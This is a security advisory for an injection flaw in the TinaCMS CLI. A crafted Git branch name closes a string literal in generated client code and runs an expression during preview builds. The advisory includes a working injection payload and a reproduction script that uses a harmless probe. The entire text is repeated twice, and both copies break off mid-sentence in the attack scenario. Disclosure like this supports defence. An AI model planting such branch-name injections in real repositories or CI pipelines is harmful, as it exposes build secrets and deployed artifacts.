CVE-2026-108259

Tina is a headless content management system. Prior to 3.0.0, @tinacms/cli reads Git branch values from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates the raw value into the API URL, and interpolates that URL into JavaScript string literals in packages/@tinacms/cli/src/next/codegen/index.ts and packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts. A crafted Git-valid branch name containing a quote can terminate the generated string and inject an expression that executes when the generated client module is imported during a preview build. The injected code runs with the build process privileges and can read environment credentials, modify deployment artifacts, or make network requests. This issue is fixed in version 3.0.0.

Tina is a headless content management system. Prior to 3.0.0, @tinacms/cli reads Git branch values from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates the raw value into the API URL, and interpolates that URL into JavaScript string literals in packages/@tinacms/cli/src/next/codegen/index.ts and packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts. A crafted Git-valid branch name containing a quote can terminate the generated string and inject an expression that executes when the generated client module is imported during a preview build. The injected code runs with the build process privileges and can read environment credentials, modify deployment artifacts, or make network requests. This issue is fixed in version 3.0.0.

Summary

@tinacms/cli inserts the raw Git branch value into the generated client.ts source without escaping or encoding. A Git-valid branch name can close the string literal and inject an arbitrary JavaScript expression that executes when the consumer build imports the generated client module.

Affected component

• Source (branch read): packages/@tinacms/cli/src/cmds/init/templates/config.ts lines 155–172 — reads VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD into config.branch
• Transform (URL build): packages/@tinacms/cli/src/next/codegen/index.ts lines 219–253 — _createApiUrl() concatenates the raw branch into the API URL with no encodeURIComponent
• Sink (template): packages/@tinacms/cli/src/next/codegen/index.ts lines 363–381 — genClient() interpolates the URL into url: '${apiURL}'
• Sibling sink: packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts line 55 — url: "${apiURL}" (same pattern, double quotes)

Root cause

The codegen template at index.ts:376 uses:

url: '${apiURL}'

where apiURL contains the raw branch name. No JSON.stringify, encodeURIComponent, or string-escape function is applied at any point in the pipeline. A single quote in the branch name closes the string literal and allows expression injection.

Payload

The following is a valid Git branch name (git check-ref-format accepts it):

x'+(globalThis.__TINA_PROBE='hit')+'

Generated source (sink)

When codegen runs with this branch, the generated client.ts contains:

export const client = createClient({
  url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',
  token: '<token>',
  queries,
});

The ' in the branch name closes the URL string. +(globalThis.__TINA_PROBE='hit')+ is parsed as a JavaScript expression. The trailing +' reopens a string to keep the syntax valid.

Steps to reproduce

Prerequisites: Node.js, Git, npm

mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro
git init && git commit --allow-empty -m "init"
git branch "x'+(globalThis.__TINA_PROBE='hit')+'"
npm init -y && npm install esbuild

Create repro.mjs:

import { transform } from 'esbuild';
import vm from 'vm';

// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch
const branch = "x'+(globalThis.__TINA_PROBE='hit')+'";

// _createApiUrl() logic from index.ts:252
const apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;

// genClient() template from index.ts:376
const generated = `
import { createClient } from "tinacms/dist/client";
export const client = createClient({ url: '${apiURL}', token: 'xxx' });
`;

console.log("Generated source:\n", generated);

// Compile (same as consumer build)
const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });

// Execute in sandboxed VM
const sandbox = {
  globalThis: {},
  module: { exports: {} },
  exports: {},
  require: () => ({ createClient: (o) => o }),
};
vm.createContext(sandbox);
vm.runInContext(compiled.code, sandbox);

console.log("__TINA_PROBE =", sandbox.globalThis.__TINA_PROBE);
// Output: __TINA_PROBE = hit

Run: node repro.mjs

Result: globalThis.__TINA_PROBE is set to 'hit', confirming the injected expression executed during module evaluation.

Negative control: Repeating with branch = "feature/safe-branch" does not trigger injection.

Impact

The injected expression executes with the full privileges of the consumer build process. In a typical Vercel or GitHub Actions preview deployment:

• Build environment variables are accessible (process.env), which may include NPM_TOKEN, VERCEL_TOKEN, cloud provider secrets, and API keys
• Build artifacts can be modified, enabling supply-chain compromise of the deployed output
• Network access is available to exfiltrate data

Attack scenario: An attacker opens a pull request to any open-source…

Tina is a headless content management system. Prior to 3.0.0, @tinacms/cli reads Git branch values from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates the raw value into the API URL, and interpolates that URL into JavaScript string literals in packages/@tinacms/cli/src/next/codegen/index.ts and packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts. A crafted Git-valid branch name containing a quote can terminate the generated string and inject an expression that executes when the generated client module is imported during a preview build. The injected code runs with the build process privileges and can read environment credentials, modify deployment artifacts, or make network requests. This issue is fixed in version 3.0.0.

Tina is a headless content management system. Prior to 3.0.0, @tinacms/cli reads Git branch values from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates the raw value into the API URL, and interpolates that URL into JavaScript string literals in packages/@tinacms/cli/src/next/codegen/index.ts and packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts. A crafted Git-valid branch name containing a quote can terminate the generated string and inject an expression that executes when the generated client module is imported during a preview build. The injected code runs with the build process privileges and can read environment credentials, modify deployment artifacts, or make network requests. This issue is fixed in version 3.0.0.

Summary

@tinacms/cli inserts the raw Git branch value into the generated client.ts source without escaping or encoding. A Git-valid branch name can close the string literal and inject an arbitrary JavaScript expression that executes when the consumer build imports the generated client module.

Affected component

• Source (branch read): packages/@tinacms/cli/src/cmds/init/templates/config.ts lines 155–172 — reads VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD into config.branch
• Transform (URL build): packages/@tinacms/cli/src/next/codegen/index.ts lines 219–253 — _createApiUrl() concatenates the raw branch into the API URL with no encodeURIComponent
• Sink (template): packages/@tinacms/cli/src/next/codegen/index.ts lines 363–381 — genClient() interpolates the URL into url: '${apiURL}'
• Sibling sink: packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts line 55 — url: "${apiURL}" (same pattern, double quotes)

Root cause

The codegen template at index.ts:376 uses:

url: '${apiURL}'

where apiURL contains the raw branch name. No JSON.stringify, encodeURIComponent, or string-escape function is applied at any point in the pipeline. A single quote in the branch name closes the string literal and allows expression injection.

Payload

The following is a valid Git branch name (git check-ref-format accepts it):

x'+(globalThis.__TINA_PROBE='hit')+'

Generated source (sink)

When codegen runs with this branch, the generated client.ts contains:

export const client = createClient({
  url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',
  token: '<token>',
  queries,
});

The ' in the branch name closes the URL string. +(globalThis.__TINA_PROBE='hit')+ is parsed as a JavaScript expression. The trailing +' reopens a string to keep the syntax valid.

Steps to reproduce

Prerequisites: Node.js, Git, npm

mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro
git init && git commit --allow-empty -m "init"
git branch "x'+(globalThis.__TINA_PROBE='hit')+'"
npm init -y && npm install esbuild

Create repro.mjs:

import { transform } from 'esbuild';
import vm from 'vm';

// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch
const branch = "x'+(globalThis.__TINA_PROBE='hit')+'";

// _createApiUrl() logic from index.ts:252
const apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;

// genClient() template from index.ts:376
const generated = `
import { createClient } from "tinacms/dist/client";
export const client = createClient({ url: '${apiURL}', token: 'xxx' });
`;

console.log("Generated source:\n", generated);

// Compile (same as consumer build)
const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });

// Execute in sandboxed VM
const sandbox = {
  globalThis: {},
  module: { exports: {} },
  exports: {},
  require: () => ({ createClient: (o) => o }),
};
vm.createContext(sandbox);
vm.runInContext(compiled.code, sandbox);

console.log("__TINA_PROBE =", sandbox.globalThis.__TINA_PROBE);
// Output: __TINA_PROBE = hit

Run: node repro.mjs

Result: globalThis.__TINA_PROBE is set to 'hit', confirming the injected expression executed during module evaluation.

Negative control: Repeating with branch = "feature/safe-branch" does not trigger injection.

Impact

The injected expression executes with the full privileges of the consumer build process. In a typical Vercel or GitHub Actions preview deployment:

• Build environment variables are accessible (process.env), which may include NPM_TOKEN, VERCEL_TOKEN, cloud provider secrets, and API keys
• Build artifacts can be modified, enabling supply-chain compromise of the deployed output
• Network access is available to exfiltrate data

Attack scenario: An attacker opens a pull request to any open-source…